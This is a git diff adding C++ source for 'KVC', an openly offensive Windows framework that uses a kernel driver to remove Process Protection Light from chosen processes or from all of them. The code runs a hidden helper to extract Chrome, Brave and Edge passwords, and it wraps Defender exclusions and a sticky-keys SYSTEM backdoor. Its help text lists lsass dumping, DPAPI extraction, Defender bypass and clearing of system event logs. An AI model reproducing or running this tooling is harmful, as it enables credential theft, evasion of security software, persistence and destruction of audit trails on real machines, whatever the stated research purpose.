chrome, brave, edge", browserType.c_str()); + return false; + } + + // Create command line for kvc_pass + std::wstring commandLine = L"\"" + decryptorPath + L"\" " + browserType + + L" --output-path \"" + outputPath + L"\""; + + STARTUPINFOW si = {}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi = {}; + + if (!CreateProcessW(nullptr, const_cast(commandLine.c_str()), + nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) { + ERROR(L"Failed to start kvc_pass: %d", GetLastError()); + return false; + } + + // Wait for completion with timeout + DWORD waitResult = WaitForSingleObject(pi.hProcess, 30000); // 30 seconds timeout + + DWORD exitCode = 0; + GetExitCodeProcess(pi.hProcess, &exitCode); + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + if (waitResult == WAIT_TIMEOUT) { + ERROR(L"kvc_pass timed out"); + return false; + } + + if (exitCode != 0) { + ERROR(L"kvc_pass failed with exit code: %d", exitCode); + return false; + } + + SUCCESS(L"Browser passwords extracted successfully using kvc_pass"); + return true; +} \ No newline at end of file diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp new file mode 100644 index 0000000..52b36e4 --- /dev/null +++ b/kvc/ControllerProcessOperations.cpp @@ -0,0 +1,697 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include +#include +#include +#include + +extern volatile bool g_interrupted; + +// Kernel process operations with interruption handling +std::optional Controller::GetInitialSystemProcessAddress() noexcept { + auto kernelBase = Utils::GetKernelBaseAddress(); + if (!kernelBase) return std::nullopt; + + auto offset = m_of->GetOffset(Offset::KernelPsInitialSystemProcess); + if (!offset) return std::nullopt; + + ULONG_PTR pPsInitialSystemProcess = Utils::GetKernelAddress(kernelBase.value(), offset.value()); + return m_rtc->ReadPtr(pPsInitialSystemProcess); +} + +std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept { + auto processes = GetProcessList(); + for (const auto& entry : processes) { + if (entry.Pid == pid) + return entry.KernelAddress; + } + + ERROR(L"Failed to find kernel address for PID %d", pid); + return std::nullopt; +} + +// Process enumeration with comprehensive interruption support +std::vector Controller::GetProcessList() noexcept { + std::vector processes; + + if (g_interrupted) { + INFO(L"Process enumeration cancelled by user before start"); + return processes; + } + + auto initialProcess = GetInitialSystemProcessAddress(); + if (!initialProcess) return processes; + + auto uniqueIdOffset = m_of->GetOffset(Offset::ProcessUniqueProcessId); + auto linksOffset = m_of->GetOffset(Offset::ProcessActiveProcessLinks); + + if (!uniqueIdOffset || !linksOffset) return processes; + + ULONG_PTR current = initialProcess.value(); + DWORD processCount = 0; + + do { + if (g_interrupted) { + break; + } + + auto pidPtr = m_rtc->ReadPtr(current + uniqueIdOffset.value()); + + if (g_interrupted) { + break; + } + + auto protection = GetProcessProtection(current); + + std::optional signatureLevel = std::nullopt; + std::optional sectionSignatureLevel = std::nullopt; + + auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel); + auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel); + + if (g_interrupted) { + break; + } + + if (sigLevelOffset) + signatureLevel = m_rtc->Read8(current + sigLevelOffset.value()); + if (secSigLevelOffset) + sectionSignatureLevel = m_rtc->Read8(current + secSigLevelOffset.value()); + + if (pidPtr && protection) { + ULONG_PTR pidValue = pidPtr.value(); + + if (pidValue > 0 && pidValue <= MAXDWORD) { + ProcessEntry entry{}; + entry.KernelAddress = current; + entry.Pid = static_cast(pidValue); + entry.ProtectionLevel = Utils::GetProtectionLevel(protection.value()); + entry.SignerType = Utils::GetSignerType(protection.value()); + entry.SignatureLevel = signatureLevel.value_or(0); + entry.SectionSignatureLevel = sectionSignatureLevel.value_or(0); + + if (g_interrupted) { + break; + } + + std::wstring basicName = Utils::GetProcessName(entry.Pid); + + // Resolve unknown processes using enhanced detection + if (basicName == L"[Unknown]") { + entry.ProcessName = Utils::ResolveUnknownProcessLocal( + entry.Pid, + entry.KernelAddress, + entry.ProtectionLevel, + entry.SignerType + ); + } else { + entry.ProcessName = basicName; + } + + processes.push_back(entry); + processCount++; + } + } + + if (g_interrupted) { + break; + } + + auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value()); + if (!nextPtr) break; + + current = nextPtr.value() - linksOffset.value(); + + // Safety limit to prevent infinite loops + if (processCount >= 10000) { + break; + } + + } while (current != initialProcess.value() && !g_interrupted); + + return processes; +} + +std::optional Controller::GetProcessProtection(ULONG_PTR addr) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + if (!offset) return std::nullopt; + + return m_rtc->Read8(addr + offset.value()); +} + +bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + if (!offset) return false; + + return m_rtc->Write8(addr + offset.value(), protection); +} + +// Process name resolution with atomic driver operations +std::optional Controller::ResolveProcessName(const std::wstring& processName) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return std::nullopt; + } + + auto matches = FindProcessesByName(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + PerformAtomicCleanup(); + return std::nullopt; + } + + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + PerformAtomicCleanup(); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + + PerformAtomicCleanup(); + return std::nullopt; +} + +std::vector Controller::FindProcessesByName(const std::wstring& pattern) noexcept { + std::vector matches; + auto processes = GetProcessList(); + + for (const auto& entry : processes) { + if (IsPatternMatch(entry.ProcessName, pattern)) { + ProcessMatch match; + match.Pid = entry.Pid; + match.ProcessName = entry.ProcessName; + match.KernelAddress = entry.KernelAddress; + matches.push_back(match); + } + } + + return matches; +} + +// Driver-free process name resolution for lightweight operations +std::optional Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept { + auto matches = FindProcessesByNameWithoutDriver(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + return std::nullopt; + } + + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + + return std::nullopt; +} + +std::vector Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept { + std::vector matches; + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return matches; + } + + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + std::wstring processName = pe.szExeFile; + + if (IsPatternMatch(processName, pattern)) { + ProcessMatch match; + match.Pid = pe.th32ProcessID; + match.ProcessName = processName; + match.KernelAddress = 0; // Not available without driver + matches.push_back(match); + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return matches; +} + +// Advanced pattern matching with regex support +bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept { + std::wstring lowerProcessName = processName; + std::wstring lowerPattern = pattern; + + // Convert to lowercase for case-insensitive matching + std::transform(lowerProcessName.begin(), lowerProcessName.end(), lowerProcessName.begin(), ::towlower); + std::transform(lowerPattern.begin(), lowerPattern.end(), lowerPattern.begin(), ::towlower); + + // Exact match + if (lowerProcessName == lowerPattern) return true; + + // Substring match + if (lowerProcessName.find(lowerPattern) != std::wstring::npos) return true; + + // Wildcard pattern matching + std::wstring regexPattern = lowerPattern; + + // Escape special regex characters except * + std::wstring specialChars = L"\\^$.+{}[]|()"; + + for (auto& ch : regexPattern) { + if (specialChars.find(ch) != std::wstring::npos) { + regexPattern = std::regex_replace(regexPattern, std::wregex(std::wstring(1, ch)), L"\\" + std::wstring(1, ch)); + } + } + + // Convert * wildcards to regex .* + regexPattern = std::regex_replace(regexPattern, std::wregex(L"\\*"), L".*"); + + try { + std::wregex regex(regexPattern, std::regex_constants::icase); + return std::regex_search(lowerProcessName, regex); + } catch (const std::regex_error&) { + return false; + } +} + +// Process information retrieval with atomic operations +bool Controller::GetProcessProtection(DWORD pid) noexcept { + bool driverWasLoaded = IsDriverCurrentlyLoaded(); + bool needsCleanup = false; + + // Only initialize driver if not already loaded + if (!driverWasLoaded) { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + needsCleanup = true; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for PID %d", pid); + if (needsCleanup) PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + ERROR(L"Failed to read protection for PID %d", pid); + if (needsCleanup) PerformAtomicCleanup(); + return false; + } + + UCHAR protLevel = Utils::GetProtectionLevel(currentProtection.value()); + UCHAR signerType = Utils::GetSignerType(currentProtection.value()); + + if (currentProtection.value() == 0) { + INFO(L"PID %d (%s) is not protected", pid, Utils::GetProcessName(pid).c_str()); + } else { + INFO(L"PID %d (%s) protection: %s-%s (raw: 0x%02x)", + pid, + Utils::GetProcessName(pid).c_str(), + Utils::GetProtectionLevelAsString(protLevel), + Utils::GetSignerTypeAsString(signerType), + currentProtection.value()); + } + + if (needsCleanup) { + PerformAtomicCleanup(); + } + + return true; +} + +bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return GetProcessProtection(match->Pid); +} + +// Enhanced protected process listing with color visualization +bool Controller::ListProtectedProcesses() noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto processes = GetProcessList(); + DWORD count = 0; + + // Enable console virtual terminal processing for color output + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + DWORD consoleMode = 0; + GetConsoleMode(hConsole, &consoleMode); + SetConsoleMode(hConsole, consoleMode | ENABLE_VIRTUAL_TERMINAL_PROCESSING); + + // ANSI color codes + auto GREEN = L"\033[92m"; + auto YELLOW = L"\033[93m"; + auto BLUE = L"\033[94m"; + auto HEADER = L"\033[97;44m"; + auto RESET = L"\033[0m"; + + std::wcout << GREEN; + std::wcout << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + std::wcout << HEADER; + std::wcout << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. "; + std::wcout << RESET << L"\n"; + std::wcout << GREEN; + std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + const wchar_t* processColor = GREEN; + + // Color coding based on signature levels + bool hasUncheckedSignatures = (entry.SignatureLevel == 0x00 || entry.SectionSignatureLevel == 0x00); + + if (hasUncheckedSignatures) { + processColor = BLUE; // Blue for processes with unchecked signatures + } else { + // Check if it's a user process (non-system signer) + bool isUserProcess = (entry.SignerType != static_cast(PS_PROTECTED_SIGNER::Windows) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::WinTcb) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::WinSystem) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::Lsa)); + processColor = isUserProcess ? YELLOW : GREEN; + } + + std::wcout << processColor; + wchar_t buffer[512]; + swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", + entry.Pid, + entry.ProcessName.c_str(), + Utils::GetProtectionLevelAsString(entry.ProtectionLevel), + entry.ProtectionLevel, + Utils::GetSignerTypeAsString(entry.SignerType), + entry.SignerType, + Utils::GetSignatureLevelAsString(entry.SignatureLevel), + entry.SignatureLevel, + Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), + entry.SectionSignatureLevel, + entry.KernelAddress); + std::wcout << buffer; + count++; + } + } + + std::wcout << GREEN; + std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + std::wcout << RESET << L"\n"; + + SUCCESS(L"Enumerated %d protected processes", count); + + PerformAtomicCleanup(); + + return true; +} + +// Process protection manipulation with atomic operations +bool Controller::UnprotectProcess(DWORD pid) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + PerformAtomicCleanup(); + return false; + } + + if (currentProtection.value() == 0) { + ERROR(L"PID %d is not protected", pid); + PerformAtomicCleanup(); + return false; + } + + if (!SetProcessProtection(kernelAddr.value(), 0)) { + ERROR(L"Failed to remove protection from PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Removed protection from PID %d", pid); + + PerformAtomicCleanup(); + + return true; +} + +bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + PerformAtomicCleanup(); + return false; + } + + if (currentProtection.value() > 0) { + ERROR(L"PID %d is already protected", pid); + PerformAtomicCleanup(); + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + PerformAtomicCleanup(); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to protect PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str()); + + PerformAtomicCleanup(); + + return true; +} + +bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + PerformAtomicCleanup(); + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + PerformAtomicCleanup(); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to set protection on PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid); + + PerformAtomicCleanup(); + + return true; +} + +// Mass protection removal operations +bool Controller::UnprotectAllProcesses() noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto processes = GetProcessList(); + DWORD totalCount = 0; + DWORD successCount = 0; + + INFO(L"Starting mass unprotection of all protected processes..."); + + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + totalCount++; + + if (SetProcessProtection(entry.KernelAddress, 0)) { + successCount++; + SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } else { + ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } + } + } + + if (totalCount == 0) { + INFO(L"No protected processes found"); + } else { + INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount); + } + + PerformAtomicCleanup(); + + return successCount == totalCount; +} + +bool Controller::UnprotectMultipleProcesses(const std::vector& targets) noexcept { + if (targets.empty()) { + ERROR(L"No targets specified for batch unprotection"); + return false; + } + + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + DWORD successCount = 0; + DWORD totalCount = static_cast(targets.size()); + + INFO(L"Starting batch unprotection of %d targets...", totalCount); + + for (const auto& target : targets) { + bool result = false; + + // Check if target is numeric (PID) + if (Utils::IsNumeric(target)) { + auto pid = Utils::ParsePid(target); + if (pid) { + auto kernelAddr = GetProcessKernelAddress(pid.value()); + if (kernelAddr) { + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (currentProtection && currentProtection.value() > 0) { + if (SetProcessProtection(kernelAddr.value(), 0)) { + SUCCESS(L"Removed protection from PID %d", pid.value()); + result = true; + } else { + ERROR(L"Failed to remove protection from PID %d", pid.value()); + } + } else { + INFO(L"PID %d is not protected", pid.value()); + result = true; // Consider this a success + } + } + } else { + ERROR(L"Invalid PID format: %s", target.c_str()); + } + } else { + // Target is process name + auto matches = FindProcessesByName(target); + if (matches.size() == 1) { + auto match = matches[0]; + auto currentProtection = GetProcessProtection(match.KernelAddress); + if (currentProtection && currentProtection.value() > 0) { + if (SetProcessProtection(match.KernelAddress, 0)) { + SUCCESS(L"Removed protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid); + result = true; + } else { + ERROR(L"Failed to remove protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid); + } + } else { + INFO(L"%s (PID %d) is not protected", match.ProcessName.c_str(), match.Pid); + result = true; // Consider this a success + } + } else { + ERROR(L"Could not resolve process name: %s", target.c_str()); + } + } + + if (result) successCount++; + } + + INFO(L"Batch unprotection completed: %d/%d targets successfully processed", successCount, totalCount); + + PerformAtomicCleanup(); + + return successCount == totalCount; +} + +// Process name-based operations using composite pattern +bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return ProtectProcess(match->Pid, protectionLevel, signerType); +} + +bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return UnprotectProcess(match->Pid); +} + +bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return SetProcessProtection(match->Pid, protectionLevel, signerType); +} \ No newline at end of file diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp new file mode 100644 index 0000000..cab2b1a --- /dev/null +++ b/kvc/ControllerSystemIntegration.cpp @@ -0,0 +1,142 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerSystemIntegration.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" + +// Self-protection operations for process elevation +bool Controller::SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type specified"); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + return SetCurrentProcessProtection(newProtection); +} + +bool Controller::SetCurrentProcessProtection(UCHAR protection) noexcept { + DWORD currentPid = GetCurrentProcessId(); + auto kernelAddr = GetProcessKernelAddress(currentPid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for current process"); + return false; + } + return SetProcessProtection(kernelAddr.value(), protection); +} + +bool Controller::EnableDebugPrivilege() noexcept { + HANDLE hToken; + TOKEN_PRIVILEGES tokenPrivileges; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + return false; + + LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tokenPrivileges.Privileges[0].Luid); + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + bool result = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, 0); + CloseHandle(hToken); + return result; +} + +// TrustedInstaller integration for maximum privilege operations +bool Controller::RunAsTrustedInstaller(const std::wstring& commandLine) { + return m_trustedInstaller.RunAsTrustedInstaller(commandLine); +} + +bool Controller::RunAsTrustedInstallerSilent(const std::wstring& command) { + return m_trustedInstaller.RunAsTrustedInstallerSilent(command); +} + +bool Controller::AddContextMenuEntries() { + return m_trustedInstaller.AddContextMenuEntries(); +} + +// Legacy Defender exclusion management (backward compatibility) +bool Controller::AddToDefenderExclusions(const std::wstring& customPath) { + return m_trustedInstaller.AddToDefenderExclusions(customPath); +} + +bool Controller::RemoveFromDefenderExclusions(const std::wstring& customPath) { + return m_trustedInstaller.RemoveFromDefenderExclusions(customPath); +} + +// Enhanced Defender exclusion management with type specification +bool Controller::AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) { + return m_trustedInstaller.AddDefenderExclusion(type, value); +} + +bool Controller::RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) { + return m_trustedInstaller.RemoveDefenderExclusion(type, value); +} + +// Type-specific exclusion convenience methods +bool Controller::AddExtensionExclusion(const std::wstring& extension) { + return m_trustedInstaller.AddExtensionExclusion(extension); +} + +bool Controller::RemoveExtensionExclusion(const std::wstring& extension) { + return m_trustedInstaller.RemoveExtensionExclusion(extension); +} + +bool Controller::AddIpAddressExclusion(const std::wstring& ipAddress) { + return m_trustedInstaller.AddIpAddressExclusion(ipAddress); +} + +bool Controller::RemoveIpAddressExclusion(const std::wstring& ipAddress) { + return m_trustedInstaller.RemoveIpAddressExclusion(ipAddress); +} + +bool Controller::AddProcessExclusion(const std::wstring& processName) { + return m_trustedInstaller.AddProcessToDefenderExclusions(processName); +} + +bool Controller::RemoveProcessExclusion(const std::wstring& processName) { + return m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); +} + +bool Controller::AddPathExclusion(const std::wstring& path) { + return m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path); +} + +bool Controller::RemovePathExclusion(const std::wstring& path) { + return m_trustedInstaller.RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path); +} + +// Sticky keys backdoor operations with TrustedInstaller integration +bool Controller::InstallStickyKeysBackdoor() noexcept { + return m_trustedInstaller.InstallStickyKeysBackdoor(); +} + +bool Controller::RemoveStickyKeysBackdoor() noexcept { + return m_trustedInstaller.RemoveStickyKeysBackdoor(); +} \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp new file mode 100644 index 0000000..46e8d1d --- /dev/null +++ b/kvc/HelpSystem.cpp @@ -0,0 +1,494 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include +#include "HelpSystem.h" +#include +#include + +void HelpSystem::PrintUsage(std::wstring_view programName) noexcept +{ + PrintHeader(); + + std::wcout << L"Usage: " << programName << L" [arguments]\n\n"; + + PrintServiceCommands(); + PrintBasicCommands(); + PrintProtectionCommands(); + PrintSystemCommands(); + PrintBrowserCommands(); + PrintDefenderCommands(); + PrintDPAPICommands(); + PrintProtectionTypes(); + PrintExclusionTypes(); + PrintPatternMatching(); + PrintTechnicalFeatures(); + PrintDefenderNotes(); + PrintStickyKeysInfo(); + PrintUndumpableProcesses(); + PrintUsageExamples(programName); + PrintSecurityNotice(); + PrintFooter(); +} + +void HelpSystem::PrintHeader() noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + const int width = 80; + + // Blue header border + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"\n"; + std::wcout << L"================================================================================\n"; + + // Centered text printing with white color + auto printCentered = [&](const std::wstring& text) { + int textLen = static_cast(text.length()); + int padding = (width - textLen) / 2; + if (padding < 0) padding = 0; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << text << L"\n"; + }; + + printCentered(L"Marek Wesolowski - WESMAR - 2025"); + printCentered(L"kvc.exe v1.0.1 https://kvc.pl"); + printCentered(L"+48 607-440-283, marek@wesolowski.eu.org"); + printCentered(L"kvc - Kernel Vulnerability Capabilities Framework"); + printCentered(L"Comprehensive Windows Security Research & Penetration Framework"); + printCentered(L"Features Process Protection, DPAPI Extraction, Defender Bypass & More"); + + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"================================================================================\n\n"; + + // Restore original console color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintServiceCommands() noexcept +{ + PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)"); + PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat"); + PrintCommandLine(L"install", L"Install as NT service with TrustedInstaller privileges"); + PrintCommandLine(L"uninstall", L"Uninstall NT service"); + PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service"); + PrintCommandLine(L"service stop", L"Stop the Kernel Vulnerability Capabilities Framework service"); + PrintCommandLine(L"service status", L"Check service status"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintBasicCommands() noexcept +{ + PrintSectionHeader(L"Memory Dumping Commands"); + PrintCommandLine(L"dump [path]", L"Create comprehensive memory dump"); + PrintNote(L"Default path is the Downloads folder - simple: 'kvc dump lsass'"); + PrintWarning(L"MsMpEng dump only works with Defender disabled (otherwise Ctrl+C)"); + std::wcout << L"\n"; + + PrintSectionHeader(L"Process Information Commands"); + PrintCommandLine(L"list", L"List all protected processes with color coding"); + PrintCommandLine(L"get ", L"Get protection status of specific process"); + PrintCommandLine(L"info ", L"Get detailed process info including dumpability"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintProtectionCommands() noexcept +{ + PrintSectionHeader(L"Process Protection Commands"); + PrintCommandLine(L"set ", L"Set protection (force, ignoring current state)"); + PrintCommandLine(L"protect ", L"Protect unprotected process"); + PrintCommandLine(L"unprotect ", L"Remove protection from specific process"); + PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes"); + PrintCommandLine(L"unprotect ", L"Remove protection from multiple processes"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintSystemCommands() noexcept +{ + PrintSectionHeader(L"System Integration Commands"); + PrintCommandLine(L"shift", L"Install sticky keys backdoor (5x Shift = SYSTEM cmd)"); + PrintCommandLine(L"unshift", L"Remove sticky keys backdoor"); + PrintCommandLine(L"trusted ", L"Run command with elevated system privileges"); + PrintCommandLine(L"install-context", L"Add context menu entries for right-click access"); + PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintDefenderCommands() noexcept +{ + PrintSectionHeader(L"Enhanced Windows Defender Exclusion Management"); + 